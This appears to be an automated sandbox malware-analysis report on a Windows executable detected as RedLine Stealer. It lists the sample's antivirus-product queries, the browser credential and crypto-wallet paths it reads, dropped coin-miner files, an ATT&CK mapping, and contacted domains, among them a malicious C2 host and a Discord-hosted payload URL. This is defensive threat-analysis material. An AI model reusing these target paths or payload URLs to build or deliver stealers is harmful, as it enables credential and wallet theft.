Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D5D280 GetLocalTime,

0_2_00D5D280

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D80558 GetVersionExA,GetVersionExA,

0_2_00D80558

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: YfTokH7RIj.exe, 00000000.00000003.701024550.0000000000C15000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 0.2.YfTokH7RIj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: l1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: l-cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: l5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Source: Yara match

File source: Process Memory Space: YfTokH7RIj.exe PID: 6764, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 0.2.YfTokH7RIj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation221	Scheduled Task/Job1	Process Injection12	Disable or Modify Tools11	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Obfuscated Files or Information21	Input Capture1	File and Directory Discovery2	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Logon Script (Windows)	Software Packing22	Security Account Manager	System Information Discovery136	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Scheduled Task/Job1	Logon Script (Mac)	Logon Script (Mac)	Timestomp1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading121	LSA Secrets	Security Software Discovery551	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol3	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion341	Cached Domain Credentials	Process Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection12	DCSync	Virtualization/Sandbox Evasion341	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
YfTokH7RIj.exe	41%	Virustotal		Browse
YfTokH7RIj.exe	49%	ReversingLabs	Win32.Trojan.AgentTesla
YfTokH7RIj.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\fl.exe	100%	Avira	HEUR/AGEN.1143703
C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	100%	Avira	HEUR/AGEN.1143065
C:\Windows\System32\services32.exe	100%	Avira	HEUR/AGEN.1143703
C:\Users\user\AppData\Local\Temp\fl.exe	100%	Joe Sandbox ML
C:\Windows\System32\services32.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\fl.exe	60%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\fl.exe	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\fl.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.CoinMinerInj
C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	31%	Metadefender		Browse
C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Convagent
C:\Windows\System32\services32.exe	26%	Metadefender		Browse
C:\Windows\System32\services32.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.CoinMinerInj

Unpacked PE Files

Source	Detection	Scanner	Label	Download
29.0.sihost32.exe.4a0000.0.unpack	100%	Avira	HEUR/AGEN.1143065	Download File
29.2.sihost32.exe.4a0000.0.unpack	100%	Avira	HEUR/AGEN.1143065	Download File
0.0.YfTokH7RIj.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
yabynennet.xyz	6%	Virustotal		Browse
api.ip.sb	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://service.r	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://www.interoperabilitybridges.com/wmp-extension-for-chrome	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://support.a	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://go.mic	0%	URL Reputation	safe
http://forms.rea	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
yabynennet.xyz	185.82.202.246	true	true	6%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.129.233	true	false		high
api.ip.sb	unknown	unknown	false	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/917178535238586432/922560115226312704/StopScam.vmp.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	false		high
http://service.r	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id4	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
https://support.google.com/chrome/?p=plugin_real	YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id19Response	YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp	false		high
